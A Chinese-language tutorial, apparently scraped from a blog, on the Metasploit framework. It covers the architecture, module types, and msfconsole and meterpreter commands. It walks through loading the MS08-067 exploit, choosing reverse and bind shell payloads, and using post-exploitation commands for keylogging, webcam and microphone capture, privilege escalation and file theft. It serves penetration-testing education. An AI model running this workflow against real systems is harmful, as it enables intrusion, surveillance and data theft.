Metasploit體系框架介紹linux
Metasploit是目前世界上領先的滲透測試工具,也是信息安全與滲透測試領域最大的開源項目之一。它完全改變了咱們執行安全測試的方式。web
Metasploit之因此流行,是由於它能夠執行普遍的安全測試任務,從而簡化滲透測試的工做。Metasploit適用於全部流行的操做系統,但Kali Linux是最受歡迎的操做系統,第1、它預裝了幾乎全部實用滲透測試工具,下降了使用成本,其次它是基於Linux的操做系統,具備可靠的穩定性和安全性。shell
Metasploit滲透框架(Metasploit Framework)是一個免費的、開源的滲透測試框架,由H.D.Moore在2003年發佈,後來被Rapid7收購。當前穩定版本是使用Ruby語言編寫的。它擁有世界上最大的滲透測試攻擊數據庫,每一年超過100萬次的下載。它也是迄今爲止使用Ruby構建的最複雜的項目之一。數據庫
Metasploit設計是儘量採用模塊化的理念;在基礎庫的基礎上,提供了一些核心框架功能的支持;實現滲透測試的功能的主體代碼則以模塊化方式組織,並按照不一樣用途分爲6種類型模塊;爲了擴充metasploit框架對滲透測試全過程的支持功能特性,metasploit的滲透測試功能還引入了插件機制,支持將外部的安全工具集成到框架中;metasploit框架對集成模塊與插件,經過用戶接口與功能程序提供給滲透測試者進行使用。vim
1. Libraries(基礎庫文件)windows
metasploit基礎庫文件位於源碼根目錄路徑下的libraries目錄中,包括Rex,framework-core和framework-base三部分。後端
Rex庫1)最基礎的組件,如包裝的網絡套接字、網絡應用協議客戶端與服務端實現、日誌子系統、滲透攻擊支持例程、PostgreSQL以及MySQL數據庫支持等;api
framework-core庫負責實現全部與各類類型的上層模塊及插件的交互接口;瀏覽器
framework-base庫擴展了framework-core,提供更加簡單的包裝例程,併爲處理框架各個方面的功能提供了一些功能類,用於支持用戶接口與功能程序調用框架自己功能及框架集成模塊;緩存
2. modules(模塊)
模塊是經過Metasploit框架所裝載、集成並對外提供的最核心的滲透測試功能實現代碼。按照在滲透測試過程各個環節中所具備的不一樣用途,分爲
1)輔助模塊(Anxiliary):輔助模塊爲信息檢索提供各類掃描程序。其中包括登陸掃描器、漏洞掃描器、網絡嗅探和端口掃描器;
2)滲透攻擊模塊(Exploiits):這個模塊包含用於利用漏洞的程序和腳本,Metasploit有超過1700個漏洞利用程序。
3)後滲透攻擊模塊(Post):用於支持在滲透攻擊取得目標系統遠程控制權後,在受控系統中進行各式各樣的後滲透攻擊動做,如獲取敏感信息、實施跳板攻擊等
4)攻擊載荷模塊(Payloads):它主要用於創建攻擊者和受害者機器直接的鏈接,Metasploit有超過500個有效攻擊載荷。
5)空指令模塊(Nops):用來在攻擊載荷中添加空指令區,以提升攻擊可靠性的組件。
6)編碼器模塊(Encoders):確保攻擊載荷中不會出現滲透攻擊過程當中應加以免出現的壞字符」。爲了使有效載荷在IDS入侵檢測/IPS入侵防護系統或反病毒程序下能不被發現,對攻擊載荷進行「免殺」處理。
這些模塊都擁有很是清晰的結構和一個預先定義好的接口,能夠被裝載到Metasploit框架中,並可組合支持信息蒐集、滲透攻擊與後滲透攻擊拓展等滲透測試任務。
3. 插件(plugins)
Metasploit框架的插件是一類定義比較鬆散,可以擴充框架的功能,或者組裝已有功能構成高級特性的組件。插件能夠集成現有的一些外部安全工具,如Nessus、OpenVAS漏洞掃描器等,爲用戶接口提供一些新的功能命令、記錄全部的網絡記錄或提供創新的滲透測試功能。
4. 接口(interfaces)
Metasploit框架提供了多種用戶使用接口,包括msfconsole控制檯終端、msfcli命令行、msfgui圖形化界面、armitage圖形化界面以及msfapi遠程調用接口等。
5. 功能程序
Metasploit還提供了一系列可直接運行的功能程序,支持滲透測試者與安全研究人員快速地利用Metasploit框架內部能力完成一些特定任務。好比msfpayload、msfencode和msfvenom能夠將攻擊載荷封裝爲可執行文件、C語言、JavaScript語言等多種形式,並能夠進行各類類型的編碼。
Metasplot基本步驟及命令詳解
1.Linux metasploit安裝及使用
1.1 終端輸入msfconsole,啓動metasploit
MSF終端是Metasploit功能最強大、最豐富的用戶接口。
show Auxiliary/Exploits/Payloads 列出metasploit框架中的全部輔助/滲透攻擊模塊/攻擊載荷。
1.2 msf>help
核心命令
Cd 更改當前的工做目錄
Sessions 轉儲會話列表並顯示有關會話的信息
Color 切換顏色
Set 將特定於上下文的變量設置爲一個值
Connect 鏈接與主機通訊
Setg 將全局變量設置爲一個值
exit 退出控制檯
sleep 在指定的秒數內不作任何事情
get 獲取特定於上下文的變量的值
spool 將控制檯輸出寫入文件以及屏幕
getg 獲取全局變量的值
threads 線程查看和操做後臺線程
grep grep 另外一個命令的輸出
unload 卸載框架插件
history 顯示命令歷史
unset 取消設置一個或多個特定於上下文的變量
irb 進入irb腳本模式
unsetg 取消設置一個或多個全局變量
load 加載一個框架插件
version 顯示框架和控制檯庫版本號
quit 退出控制檯
route 經過會話路由流量
save 保存活動的數據存儲
1.3 數據庫後端命令
db_connect 鏈接到現有的數據庫
db_disconnect 斷開與當前數據庫實例的鏈接
db_export 導出包含數據庫內容的文件
db_import 導入掃描結果文件(文件類型將被自動檢測)
db_nmap 執行nmap並自動記錄輸出
db_rebuild_cache 重建數據庫存儲的模塊高速緩存
db_status 顯示當前的數據庫狀態
hosts 列出數據庫中的全部主機
loot 列出數據庫中的全部戰利品
notes 列出數據庫中的全部筆記
services 列出數據庫中的全部服務
vulns 列出數據庫中的全部漏洞
workspace 在數據庫工做區之間切換
1.4 模塊命令
Advanced 顯示一個或多個模塊的高級選項
Back 從當前上下文返回
Edit 使用首選編輯器編輯當前模塊
info 顯示有關一個或多個模塊的信息
loadpath 路徑從路徑搜索並加載模塊
options 顯示全局選項或一個或多個模塊
popm 將最新的模塊從堆棧中彈出並使其處於活動狀態
previous 將以前加載的模塊設置爲當前模塊
pushm 將活動或模塊列表推入模塊堆棧
reload_all 從全部定義的模塊路徑從新加載全部模塊
search 搜索模塊名稱和描述
show 顯示給定類型的模塊或全部模塊
use 按名稱選擇模塊
1.5 工做命令
Handler 做爲做業啓動負載處理程序
Jobs 顯示和管理做業
Kill 殺死一個工做
Rename_job 重命名做業
1.6.查找metasploit框架中全部的滲透攻擊和其餘模塊:
search[模塊名]
search ms08-067
1.7.選擇並加載模塊:
use exploit/windows/smb/ms08_067_netapi
info展現出制定滲透攻擊或模塊的相關信息。
1.8.設置攻擊載荷:
set payload windows/meterpreter/bind_tcp
經常使用payload
Linux:
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tcp
Windows:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell reverse_tcp
windows/shell_ bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell reverse_tcp
windows/x64/shell_bind_tcp
注意:
含有x64只適用目標服務器爲64位操做系統的,沒有x64或者使用x86的只適用32位操做系統;含有meterpreter的模塊會反彈meterpreter_shel,而普通的shell模塊只會反彈普通的shell(反彈結果跟nc相似);
reverse_tcp(反向鏈接)表示木馬會主動鏈接目標服務器,bind_tcp(正向鏈接)表示木馬會監聽本地的端口,等待攻擊者鏈接。這裏所說的鏈接通常是指tcp的某個端口。所以在生成木馬前,須要先判斷當前環境,適合正向鏈接木馬仍是反向鏈接的木馬。
1.9.查看須要設置的配置參數:
show options
1.10 設置配置參數(ip或端口):
set XXXX xxxxxx
1.11 開始攻擊:
exploit或run;
等待目標上鉤,得到shel以後,就能夠經過命令獲取目標機器的信息和控制其機器
sessions 列出全部可用的交互會話
Sessions –l 1進入1號會話
打開meterpreter使用幫助:help
好比:getuid命令查看權限,驗證內網滲透成功
1.12 核心命令
Background -將當前會話移動到背景
Bgkill -殺死一個背景meterpreter 腳本
Bglist -提供全部正在運行的後臺腳本的列表
Bgrun -做爲一個後臺線程運行腳本
Channel -顯示活動頻道
Close -關閉通道
Exit -終止meterpreter會話
Help -幫助菜單
Info -查看詳細信息
Irb -進入Ruby 腳本模式
Migrate -移動到一個指定的PID的活動進程
Quit -終止meterpreter會話
Read -從通道讀取數據
Run -執行之後它選定的meterpreter 腳本
Use -加載meterpreter的擴展
Write -將數據寫入到一個通道
1.13 文件系統命令
Cat -讀取並輸出到標準輸出文件的內容
Cd -更改目錄對受害人
Del -刪除文件對受害人
Download -從受害者系統文件下載
Search -在目標主機文件系統上查找搜索文件例如:search-d c\\-f
*.doc 在目標主機C盤下搜索doc文檔
Edit -用vim編輯文件I
Getlwd -打印本地目錄
Getwd -打印工做目錄
Icd -更改本地目錄
Lpwd -打印本地目錄
lS -列出在當前目錄中的文件列表
mkdir -在受害者系統上的建立目錄
pwd -輸出工做目錄
rm -刪除文件
rmdir -受害者系統上刪除目錄
Upload -從攻擊者的系統往受害者系統上傳文件
1.14 網絡命令
Ipconfig -顯示網絡接口的關鍵信息,包括IP地址、等。
Portfwd -端口轉發例如:portfwd add-11122-p3389-r 192.168.250.176把目標主機192.168.250.176的3389端口轉發到1122端口
Route -查看或加入受害者路由表 route add 5.5.5.0255.255.255.01用sessions1會話加入指定網段
Arp -顯示主機ARP緩存
Getproxy -顯示當前代理配置
Netstat -顯示網絡鏈接
1.15 提權命令
Getsystem -得到系統管理員權限
1.16 用戶界面命令
Enumdesktops -列出全部可訪問臺式機
Getdesktop -獲取當前的meterpreter桌面
Idletime -檢查長時間以來,受害者系統空閒進程
keyscan_dump -鍵盤記錄軟件的內容轉儲
keyscan_start -啓動時與如Word或瀏覽器的進程相關聯的鍵盤記錄軟件
keyscan_stop -中止鍵盤記錄軟件
screenshot -抓去meterpreter 桌面的屏幕截圖
record_mic -音頻錄製
webcam_chat -查看攝像頭接口
webcam_list -查看攝像頭列表
webcam_stream -攝像頭視頻獲取
set_desktop -更改meterpreter 桌面
Uictl -啓用用戶界面組件的一些控件